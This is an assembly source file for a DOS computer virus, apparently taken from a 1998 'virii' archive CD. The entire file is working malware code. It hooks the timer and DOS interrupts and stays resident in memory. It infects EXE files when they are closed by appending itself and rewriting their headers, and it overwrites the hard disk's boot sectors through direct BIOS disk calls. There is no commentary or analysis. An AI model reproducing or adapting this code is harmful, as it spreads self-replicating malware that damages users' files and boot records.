Underground/Underground CD1.iso/virii/zrodla/c/compiler.asm

Assembly Source File | 1998-01-14 | 8.0 KB | 312 lines

    cut    equ    offset len-300h
    virsize equ    offset len-100h
    memsize equ    (virsize+20h)/16+1

                xor     di,di
                mov     ds,di
                mov     ss,di
                mov     sp,7BF0h
                mov     si,7C00h
                push    si
                mov     ax,3000h
                mov     es,ax
                mov     cx,201h
                push    cx
                push    cx
        rep     movsw
                pop     ax
                push    cx
                mov     cl,8
                mov     bx,cut
                mov     dx,80h
                int     13h
                mov     [1Ch*4],offset timer-100h
                mov     [1Ch*4+2],3000h
                pop     es
                inc     cx
                pop     ax
                pop     bx
                db      0EAh
                dw      offset jump-100h
                dw      3000h

        jump    db      0CDh,013h,0EAh,00,07Ch,00,00

        timer:  push    ax
                push    ds
                xor     ax,ax
                mov     ds,ax
                cmp     [84h],ax
                jz      tmexit
                mov     ax,[10h]                ; int 04h
                mov     [70h],ax                ; int 1Ch
                mov     ax,[12h]
                mov     [72h],ax
                mov     ax,[84h]
                mov     cs:old-100h,ax
                mov     ax,[86h]
                mov     cs:old+2-100h,ax
                mov     [84h],offset int21-100h
                mov     [86h],cs
        mov    ax,[2Fh*4]
        mov    cs:int2F-100h,ax
        mov    ax,[2Fh*4+2]
        mov    cs:int2F+2-100h,ax
        tmexit: pop     ds
                pop     ax
                iret

        int21:  cmp     ax,4B00h
                jne     exit21
                push    ax
                push    bx
                push    cx
                push    dx
                push    ds
                push    es
                push    si
                push    di
                mov     ah,52h
                int     21h
                xor     si,si
                xor     di,di
                mov     ds,es:[bx-2]
                mov     bx,ds
                mov     ax,[di+3]
                add     [di+3],memsize
                inc     bx
                add     ax,bx
                mov     es,ax
                push    ax
                mov     ax,es:[di+3]
                sub     ax,memsize
                push    ax
                mov     ax,[di+3]
                add     ax,bx
                mov     ds,ax
                mov     byte ptr [di],5Ah
                mov     word ptr [di+1],di
                pop     [di+3]
                pop     es
                push    cs
                pop     ds
                mov     cx,virsize/2+1
        rep     movsw
                mov     ds,cx
                mov     [84h],offset res21-100h
                mov     [86h],es
        back:   pop     di
                pop     si
                pop     es
                pop     ds
                pop     dx
                pop     cx
                pop     bx
                pop     ax
        exit21: db      0EAh
        old     dw      ?
                dw      ?

        res21:  push    ax
                push    bx
                push    cx
                push    dx
                push    ds
                push    es
                push    si
                push    di
                cmp     ah,3Eh
                je      close
                cmp     ah,3Dh
                jne     back

        open:   call    driver
        xchg    ax,bx
        jc    out
                call    chexe
                jne     out
                mov     cs:len-100h,cx
        out:    mov     ah,3Eh
                call    driver
                jmp     back

        close:  call    chexe
                jne     back
                cmp     cx,cs:len-100h
                je      back
        cmp    cx,5000
        jb    back
                push    cx
                push    dx
                push    cs
                pop     es
                push    cs
                pop     ds
                mov     ah,3Fh
                mov     dx,offset buf-100h
                mov     cx,20h
                call    driver
                mov     si,offset buf+0Eh-100h
                mov     di,offset save-100h
                movsw
                movsw
                lodsw
                movsw
                movsw
                pop     dx
                pop     ax
                mov     cl,16
                div     cx
                inc     ax
                push    ax
                push    ax
                mul     cx
                mov     cx,ax
                xchg    cx,dx
                mov     ax,4200h
                call    driver
                pop     ax
                sub     ax,[si-10h]
                mov     [si-2],ax
                mov     [si-0Ah],ax
                mov     [si-8],500h
                mov     [si-4],offset go-100h
                pop     ax
                xor     dx,dx
                mov     cx,20h
        push    cx
                div     cx
        inc    ax
        inc    ax
                mov     [si-14h],ax
                mov     [si-16h],dx
                mov     ah,40h
                mov     cx,virsize
                xor     dx,dx
                call    driver
                call    chexe
                mov     ah,40h
        pop    cx
                mov     dx,offset buf-100h
                call    driver
                jmp     back

        go:     mov     bx,es
                add     bx,10h
                add     cs:save+6-100h,bx
                add     bx,cs:save-100h
                push    bx
        push    ds
        push    es

        call    cell
        test    si,si
        je    exec
        cmp    word ptr [si+2],0A000h
        jb    exec
        mov    ah,2
        push    cs
        pop    es
        push    cs
        pop    ds
        mov    bx,offset buf-100h
        mov    cl,1
        call    doit
        xor    si,si
        mov    di,bx
        mov    cl,cut/2
    rep    cmpsw
        je    exec
        inc    count-100h
        mov    ah,3
        mov    cl,9
        call    doit
        xor    si,si
        mov    di,bx
        mov    cl,cut/2+1
    rep    movsw
        mov    ah,3
        inc    cx
        call    doit
        mov    bx,cut
        mov    cl,8
        mov    ah,3
        call    doit

    exec:    pop    es
        pop    ds
        pop    ss
                mov     sp,cs:save+2-100h
                jmp     dword ptr cs:save+4-100h

        chexe:  push    bx
                mov     ax,1220h
        call    dosint
                mov     bl,es:[di]
                mov     ax,1216h
        call    dosint
                pop     bx
                add     di,15h
                xor     ax,ax
                stosw
                stosw
                mov     cx,es:[di-8]
                mov     dx,es:[di-6]
                add     di,0Fh
                mov     ax,'XE'
                scasw
                jne     notexe
                scasb
                clc
        notexe: ret

    cell:    push    ax
        push    bx
        push    cx
        mov    ah,30h
                int     21h
        xor    si,si
                xchg    ah,al
        cmp    ax,401h
        ja    newdos
        cmp    ax,314h
        jb    newdos
                cmp     ax,31Eh
                mov     si,7B4h
                jae     newdos
                mov     si,10A5h
                cmp     al,10
                je      newdos
        mov    si,1EC9h
        newdos: mov     ds,cx
        pop    cx
        pop    bx
        pop    ax
                ret

        driver: pushf
                call    dword ptr cs:old-100h
                ret

    doit:    push    ds
        call    cell
        mov    ch,0
        mov    al,1
        mov    dx,80h
        pushf
        call    dword ptr [si]
        pop    ds
        ret

    dosint: pushf
        db    9Ah
    int2F    dw    ?
        dw    ?
        ret

    count    dw    0
        save    dw      4 dup (?)
        len     label   word
        buf     label   word